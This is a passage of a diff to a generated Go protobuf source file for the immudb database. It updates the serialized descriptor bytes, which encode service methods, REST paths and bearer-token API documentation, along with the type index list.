0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x22, 0x0f, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, 0x32, 0x3a, 0x01, 0x2a, 0x12, + 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x20, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x46, 0x6c, + 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, + 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, + 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x47, 0x65, + 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, - 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, - 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, - 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, - 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, - 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, - 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, - 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, - 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, - 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, - 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, - 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, - 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, - 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, 0x5a, 0x59, 0x0a, 0x57, 0x0a, - 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, - 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, - 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, - 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, 0x0a, 0x13, + 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x00, 0x28, 0x01, 0x12, 0x42, 0x0a, 0x0a, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x44, + 0x0a, 0x0b, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x53, + 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x22, 0x00, 0x30, 0x01, 0x12, 0x48, 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x48, 0x69, + 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x42, + 0x0a, 0x0d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, + 0x28, 0x01, 0x12, 0x44, 0x0a, 0x08, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x40, 0x0a, 0x0b, 0x72, 0x65, 0x70, 0x6c, + 0x69, 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x4c, 0x0a, 0x0e, 0x73, 0x74, + 0x72, 0x65, 0x61, 0x6d, 0x45, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x54, 0x78, 0x12, 0x1e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, + 0x6f, 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x22, 0x00, 0x28, 0x01, 0x30, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, + 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, + 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, + 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, + 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, + 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, + 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, + 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, + 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0x91, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, + 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0xe0, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, + 0x3c, 0x62, 0x3e, 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, + 0x3a, 0x20, 0x41, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x73, 0x61, 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, + 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, + 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, + 0x65, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, + 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, + 0x75, 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x22, 0x04, 0x2f, 0x61, 0x70, 0x69, + 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, + 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, + 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, + 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, + 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var ( @@ -10591,15 +10605,15 @@ var file_schema_proto_goTypes = []interface{}{ (*Precondition_KeyMustExistPrecondition)(nil), // 126: immudb.schema.Precondition.KeyMustExistPrecondition (*Precondition_KeyMustNotExistPrecondition)(nil), // 127: immudb.schema.Precondition.KeyMustNotExistPrecondition (*Precondition_KeyNotModifiedAfterTXPrecondition)(nil), // 128: immudb.schema.Precondition.KeyNotModifiedAfterTXPrecondition - nil, // 129: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - nil, // 130: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - nil, // 131: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - nil, // 132: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 133: immudb.schema.Chunk.MetadataEntry - nil, // 134: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 135: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (_struct.NullValue)(0), // 136: google.protobuf.NullValue - (*empty.Empty)(nil), // 137: google.protobuf.Empty + nil, // 129: immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + nil, // 